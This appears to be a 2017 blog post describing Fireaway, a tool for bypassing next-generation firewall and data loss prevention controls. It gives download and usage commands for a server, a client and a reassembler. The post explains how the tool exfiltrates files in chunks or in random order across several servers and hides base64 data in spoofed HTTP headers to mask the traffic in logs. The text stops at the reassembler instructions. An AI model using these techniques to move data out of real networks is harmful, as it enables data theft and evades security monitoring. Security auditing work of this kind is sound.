Fireaway: Next Generation Firewall Bypass Tool

by do son · October 11, 2017

FireAway-Next Generation Firewall Bypass Tool

Fireaway is a tool for auditing, bypassing, and exfiltrating data against layer 7/AppID inspection rules on next generation firewalls, as well as other deep packet inspection defense mechanisms, such as data loss prevention (DLP) and application aware proxies. These tactics are based on the principle of having to allow connections to establish through the NGFW in order to see layer 7 data to filter, as well as spoofing applications to hide communication channels inside the firewall logs as normal user traffic, such as Internet surfing. In the case of bypassing data loss prevention tools, Fireaway sends data in small “chunks”, which do not match regular expression triggers and other DLP rules, as well as embedding data in spoofed HTTP headers of legitimate applications which most data loss prevention technologies are not designed to inspect. The tool also has had success defeating anomaly detection and heursitics engines through its ability to spoof application headers and hide data inside them.

Download

git clone https://github.com/tcstool/Fireaway.git

Usage

Starting the FireAway Server: Typically the FireAway server would be started on the egress side of the firewall (such as a server on the Internet), and listen on a port believed to be closed to see if any application based rules allow traffic out on this port, or to receive raw data chunks to see if DLP or application proxies can identify them:

python fa_server.py <port to listen on> <mode number>

The server can be started in four modes:

Test mode (mode 0)-Receive data sent sequentially or randomly generated test data. The data is written as received and no reassembly is required.
Sequential chunk reception (mode 1)-Data is being sent to one or more servers in chunk sizes defined by the client sequentially. Fa_server will record the timestamp the chunk was received in in the output, and use the receive time as the order key during reassembly. There will also be a “reassembly key” generated by the server to be used with fa_assembler.py. This is a randomly generated 4 character key used as the delimeter between chunks, with the idea that these characters would not exist in the data chunks being transmitted.
Random chunk reception (mode 2)-Data is being sent to one or more servers in a random order. This mode is dependent on transmission of a “sequence key” message from the client to a random server in the pool. When starting each server, the server will prompt to enter a “sequence key identifier”. This should be a pattern not present in the file being transmitted so the server can properly identify data received across a connection as the sequence key. BE SURE THE SAME SEQUENCE KEY IDENTIFIER IS USED ON ALL SERVERS! The client will randomly select a server to transmit the sequence key to, so it is important all servers can locate the sequence key in their received data. The sequence key will be recorded by the receiving server in a file called ‘SequenceKey.txt’.
Spoofed app chunk reception (mode 3)-Base 64 encoded data is being sent to one or more servers inside HTTP headers spoofing legitimate applications. This mode will also generate a “reassembly key” to be used with the fa_assembler script.

All data received by the servers on the specified port will be saved to the file ReceivedData.txt in the directory the server was launched from. If the server detects differing sizes in the amount of data received (indicating firewall filtering has kicked in), this output will be shown on the server console:

Got the same or lower amount of data on two consecutive runs. If sending test data, maximum data leak size may have been reached.

Starting the FireAway Client/Application Spoofer: The FireAway client has three modes:

Test mode (mode 0)-Send random data in incrementing chunk sizes to see how much data can be sent before layer 7 controls engage and stop traffic flow.
Sequential exfiltration mode (mode 1)-Open a file and send it in chunks of a specified size. The data will be transmitted sequentially.
Random exfiltration mode (mode 2)-Open a file and send it in chunks of a specified size, but in a random order. When using this mode, the client will ask for the sequence key identifier. This is the value specified on the remote servers, and the client will tag the generated sequence key with the identifier, which is transmitted to a random server if a list is provided or to the server IP specified, before the file is transmitted.

To start the basic client:

python fa_client.py <FireAway server IP or path of server list file> <Fireaway Server Port> <Client mode>

The list of servers should be a simple text file containing a list of IP addresses, one per line. If only using one server, a single IP can be specified instead.

The application spoofing client has three modes:

Test mode (mode 0)-Send random test data inside HTTP headers in incrementally larger chunks to determine how much data can be sent before layer 7 controls engage and stop traffic flow.
Base64 encoded exfiltration mode (mode 1)-Base64 encode an input file and transmit pieces of the encoded file inside randomly generated HTTP headers to bypass DLP and mask the transmission as a legitimate application.

To start the application spoofing client:

python fa_spoof.py <FireAway Server IP or path of server list file > <Fireaway Server Port> <Client mode>

Application spoofing will randomly insert HTTP headers inside legitmate looking application headers (e.g. Facebook, LinkedIn, etc.) with the data chunks to pollute the logs with various applications in order to mask the data exfiltration.

Fireaway Reassembler: The Fireaway reassembler (fa_assembler.py) is used to reassemble data received by the Fireaway servers. The assembler has threee modes, which correspond to the mode of the servers which received the data:

Mode 1-Reassemble data which was received in a sequential order by servers in mode 1. The assembler will prompt to specify the reassembly key for the file containing the received data for each server, which is the random value the server generated and displayed when started. This value can also be found by examining the files with the received chunks, and looking at the first four characters.
Mode 2-Reassemble data which was received in a random order by servers in mode 2. The assembler will ask for the path to the sequence key, which was received from the client by a random server during the transmission. It will also prompt for the reassembly keys for reach file.
Mode 3-Reassemble base64 encoded data which was received in spoofed application HTTP headers. This data, like Mode 1, will also ask for the reassembly key.

To start the reassembler: